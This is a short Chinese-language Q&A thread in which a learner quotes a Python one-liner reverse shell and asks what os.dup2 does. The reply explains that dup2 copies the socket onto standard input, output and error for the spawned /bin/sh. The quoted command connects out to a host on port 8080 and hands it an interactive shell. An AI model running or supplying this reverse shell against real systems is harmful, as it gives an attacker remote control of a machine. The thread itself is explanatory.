-1

当我遇到以下代码片段时,我正在学习 python 和黑客技术:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这是获得反向外壳的外壳代码。我确实了解python代码,但我无法弄清楚它os.dup2()的用途以及它在那里做什么,在最后一行写着p=subprocess.call(["/bin/sh","-i"])p变量是如何被执行的

如果可能的话,详细回答以及我可以做进一步研究的资源。

4

1 回答 1

1

dup2()是一个复制现有文件描述符的系统调用。请参阅https://man7.org/linux/man-pages/man2/dup.2.html

文件描述符 0、1 和 2 是标准输入、标准输出和标准错误,因此这段代码所做的是将每个文件描述符(与套接字关联)复制到另一个文件描述符以供调用的/bin/sh进程使用。

于 2022-01-30T20:38:47.510 回答